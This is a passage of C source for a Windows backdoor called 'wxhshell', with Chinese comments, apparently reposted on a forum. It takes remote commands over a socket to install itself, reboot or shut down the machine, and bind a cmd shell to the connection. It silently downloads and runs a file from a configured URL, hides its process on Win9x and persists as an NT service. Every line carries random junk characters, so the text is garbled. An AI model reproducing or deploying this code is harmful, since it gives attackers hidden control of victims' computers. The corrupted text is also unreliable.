  ;o?o92d  
  // 帮助 ui80}%  
  case '?': { p{x6BVw?>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Gce[RB:  
    break; -XfGF<}r  
  } F8xu&Vk0:  
  // 安装 e8&7W3 m  
  case 'i': { a5/r|BiBK  
    if(Install()) (_R!:H(]m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w19OOD  
    else EY@KWs3"H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q2'`K|T  
    break; /jSb ^1\  
    } kbSl.V%)  
  // 卸载 n] 8*yoge  
  case 'r': { {S`Rr/E|%  
    if(Uninstall()) N}Or+:"O:q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NNBT.k3)  
    else x@*?~1ai  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zp\_5[qJ;  
    break; Pf~0JNnc  
    } 44pVZ5c  
  // 显示 wxhshell 所在路径 `_x#`%!#2  
  case 'p': { ,x utI  
    char svExeFile[MAX_PATH]; MhjIE<OI=  
    strcpy(svExeFile,"\n\r"); X([@}ren  
      strcat(svExeFile,ExeFile); 75iudki  
        send(wsh,svExeFile,strlen(svExeFile),0); 2RdpVNx\y  
    break; tILnD1q  
    } Ym#io]  
  // 重启 TA+#{q+a  
  case 'b': { "?6R"Vk?:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3}B-n!|*  
    if(Boot(REBOOT)) m4^VlE,`Dh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4{h^O@*g  
    else { p7L6~IN  
    closesocket(wsh); Jw^h<z/Ux  
    ExitThread(0); |!J_3*6$>*  
    } y!x-R !3  
    break; ]d*O>Pm  
    } p  ~)\!  
  // 关机 GL^ j |1  
  case 'd': { Uv(}x 7e)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P0rdGf 5T  
    if(Boot(SHUTDOWN)) knzQ)iv&&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]''tuo2g8  
    else { D >kkA|>  
    closesocket(wsh); UMH~Q`"  
    ExitThread(0); tPDB'S:&3  
    } X^C $|:  
    break; @h5Q?I  
    } m|[cEZxHB  
  // 获取shell }mS Q!"f:  
  case 's': { !q8A!P4|'  
    CmdShell(wsh); 0Qg%48u  
    closesocket(wsh); ;1k_J~Qei  
    ExitThread(0); xM>dv5<E  
    break; [-\DC*6  
  } jRp @-S#V  
  // 退出 ]0pI6"  
  case 'x': { Cyud)BZvm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G }M!  
    CloseIt(wsh); \rCdsN2H  
    break; \\/ !I   
    } =|d5V%mK  
  // 离开 p+2uK|T9  
  case 'q': { }'\M}YM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E8o9ufj3  
    closesocket(wsh); Y3xEFqMU  
    WSACleanup(); 4-\4G"4  
    exit(1); /sVmQqVY  
    break; we?t/YB=  
        } QzYaxNGv  
  } e XdH)|l,\  
  } r<*Y1;7H'  
UHDcheeRD  
  // 提示信息 XlGB`P>?KD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mHc2v==X\-  
} 7VJf~\%1j  
  } obw:@i#  
'IER9%V$  
  return; wDs#1`uTq  
} ~'):1}KN]  
QYWl`Yqf  
// shell模块句柄 l> >BeZ  
int CmdShell(SOCKET sock) 5a* Awv}  
{ -Q!?=JNtQ  
STARTUPINFO si; }Z`@Z'  
ZeroMemory(&si,sizeof(si)); 4;w# mzd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _xdttO^N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;~s@_}&  
PROCESS_INFORMATION ProcessInfo; 7p18;Z+6>X  
char cmdline[]="cmd"; *kDV ^RBfq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q1 vse  
  return 0; 6:\z8fYD  
} _[ `"E'  
98WJ"f_ #  
// 自身启动模式 !v3wl0  
int StartFromService(void) ,-BZsZ0~  
{ yAc}4*;T/  
typedef struct A3zNUad;  
{ <7X+-%yb;  
  DWORD ExitStatus; Rh7=,=u  
  DWORD PebBaseAddress; tQ4{:WPG  
  DWORD AffinityMask; y] ~X{v  
  DWORD BasePriority; xX])IZ D  
  ULONG UniqueProcessId; ~0n9In%  
  ULONG InheritedFromUniqueProcessId; !i6 aA1'  
}   PROCESS_BASIC_INFORMATION; j0jam:.p  
PvdR)ZE m  
PROCNTQSIP NtQueryInformationProcess; Fw;Y)y=O  
..^,*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O0"&wvR+5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i)e)FhEY6  
O11.wLNH  
  HANDLE             hProcess; v aaZ  
  PROCESS_BASIC_INFORMATION pbi; E9[8th,t  
'?!2h'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H %PIE1_  
  if(NULL == hInst ) return 0; Q_a%$a.rV  
Y'%_--  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P^*gk P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :Ee5:S   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fKT(.VN q5  
/t?(IcP5  
  if (!NtQueryInformationProcess) return 0; @i:_ JOl  
VAR/"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); on1mu't_;  
  if(!hProcess) return 0; K#p&XIY,  
FdJC@Y-#uA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?|Mmz@  
k4 %> F  
  CloseHandle(hProcess); L:EJ+bNG  
*'(dcy9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x9CI>l  
if(hProcess==NULL) return 0; wwmODw<tT  
DSHpM/7  
HMODULE hMod; 5 *>3(U  
char procName[255];  ?hpk)Qu  
unsigned long cbNeeded; XC{(O:EG  
}c,}+{q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AuYi$?8|5  
'C*NyHc  
  CloseHandle(hProcess); -/&6}lD  
VVje|T^{Z  
if(strstr(procName,"services")) return 1; // 以服务启动 `o*g2fW!  
|wj/lX7y  
  return 0; // 注册表启动 egi?Qg  
} 2jx+q  
z95V 7E  
// 主模块 K+mtuB]yr  
int StartWxhshell(LPSTR lpCmdLine) Qi7^z;  
{ J0|}u1? l  
  SOCKET wsl; {1YT a:evl  
BOOL val=TRUE; Vd^`Hv&i  
  int port=0; 73(T+6`  
  struct sockaddr_in door; ;h3*MR  
&f qmO>M  
  if(wscfg.ws_autoins) Install(); ;3sT>UB  
ikRIL2Y  
port=atoi(lpCmdLine); |,&!Q$<un  
o6K BJx  
if(port<=0) port=wscfg.ws_port;  )Bk?"q  
FZmYv%J  
  WSADATA data; [%nG_np  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z(orA} [  
Bv@m)$9\+3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nmsb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aLXA9?  
  door.sin_family = AF_INET; e@,,;YO#4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |:r/K  
  door.sin_port = htons(port); |I+E`,n"b  
y!!+IeReS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PvT8XSlTx!  
closesocket(wsl); D&9j$#9Rh  
return 1; *Ucyxpu~$  
} $'FPst8Q<  
:g9z^ $g  
  if(listen(wsl,2) == INVALID_SOCKET) { 83l)o$S  
closesocket(wsl); Z#o\9/{(R  
return 1; iK %Rq  
} c8"I]Qc7  
  Wxhshell(wsl); r IK|}5  
  WSACleanup(); ZJ[ Uz_%W  
OEwfNZQ-  
return 0; BtHvfoT  
F<(x z=  
} .DvAX(2v  
LMG\jc?,  
// 以NT服务方式启动 x(7K3(#|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C aJD*  
{ )#ujF~w>  
DWORD   status = 0; QT&{M #Ydn  
  DWORD   specificError = 0xfffffff; #=.h:_9  
-X}R(.}x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,m b3H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VDmd+bvJV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c\b>4 &n  
  serviceStatus.dwWin32ExitCode     = 0; !Z'm@,+  
  serviceStatus.dwServiceSpecificExitCode = 0; +li^0+3-'  
  serviceStatus.dwCheckPoint       = 0; GyPN)!X@.&  
  serviceStatus.dwWaitHint       = 0; :A{-^qd(  
!yI)3;$*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gq@."wHU  
  if (hServiceStatusHandle==0) return; N8{>M,  
\4p<;$'  
status = GetLastError(); F_Pd\Aq8  
  if (status!=NO_ERROR) t@HE.h  
{ anwn!Eqk"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7z,M`14  
    serviceStatus.dwCheckPoint       = 0; XbOL/6V ^[  
    serviceStatus.dwWaitHint       = 0; Mk9 kGP%  
    serviceStatus.dwWin32ExitCode     = status; x/S%NySG  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9,c>H6R7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HYH!;  
    return; ?3Fo:Z`@F  
  } 4#YklVm  
n|*V 8VaL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DJW1kR  
  serviceStatus.dwCheckPoint       = 0; &L?Dogo  
  serviceStatus.dwWaitHint       = 0; &sRJ'oc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \~H"!vj  
} d#tUG~jc  
M:SxAo-D2  
// 处理NT服务事件,比如:启动、停止 '} kq@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?hu 9c  
{ O&s6blD11  
switch(fdwControl) X>6a@$MxP  
{ IyuT=A~Ki  
case SERVICE_CONTROL_STOP: F3'X  
  serviceStatus.dwWin32ExitCode = 0; qpeK><o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *3K"Kc2  
  serviceStatus.dwCheckPoint   = 0; ~GeYB6F  
  serviceStatus.dwWaitHint     = 0; ,'673PR  
  { FS}z_G|4]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +J4t0x  
  } %dU}GYL_  
  return; >dl!Ep  
case SERVICE_CONTROL_PAUSE: N9ufTlq s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y b G)=0  
  break; !T{g& f  
case SERVICE_CONTROL_CONTINUE: Z%R%D*f@y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <<1oc{i  
  break; =KZ4:d5  
case SERVICE_CONTROL_INTERROGATE: W Q&<QVK  
  break; $S}x'F!4_  
}; ZkJM?Fzq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D.6dPzu`  
} \}=b/FL=U  
p o`$^TB^+  
// 标准应用程序主函数 lBdF9F<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .'1j5Y-l`N  
{ B# fzMaC  
1X*T219o  
// 获取操作系统版本 K?je(t^  
OsIsNt=GetOsVer(); l}2WW1b(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a=FRJQ8S  
`Vi:r9|P  
  // 从命令行安装 NHF?73:  
  if(strpbrk(lpCmdLine,"iI")) Install(); @7=D]yu  
lRr-S%  
  // 下载执行文件 TfVD'HAN;l  
if(wscfg.ws_downexe) { 9F](%/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PpRO7(<cD  
  WinExec(wscfg.ws_filenam,SW_HIDE); o4;Nb|kk9+  
} dE]"^O#Mc  
0mh8.  
if(!OsIsNt) { F udD  
// 如果时win9x,隐藏进程并且设置为注册表启动 GvOAs-$  
HideProc(); J":9  
StartWxhshell(lpCmdLine); wjJ1Psnx  
} '5U$`Xe1  
else 2&fwr>!$  
  if(StartFromService()) !y`e,(E  
  // 以服务方式启动 C#&6p0U  
  StartServiceCtrlDispatcher(DispatchTable); YMTA`T(+  
else YoJ'=z,e  
  // 普通方式启动 !f-o,RJ  
  StartWxhshell(lpCmdLine); J#DcT@  
HJR<d&l;p  
return 0; zYdtQjv  
}
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只看该作者 1 发表于: 2006-10-10
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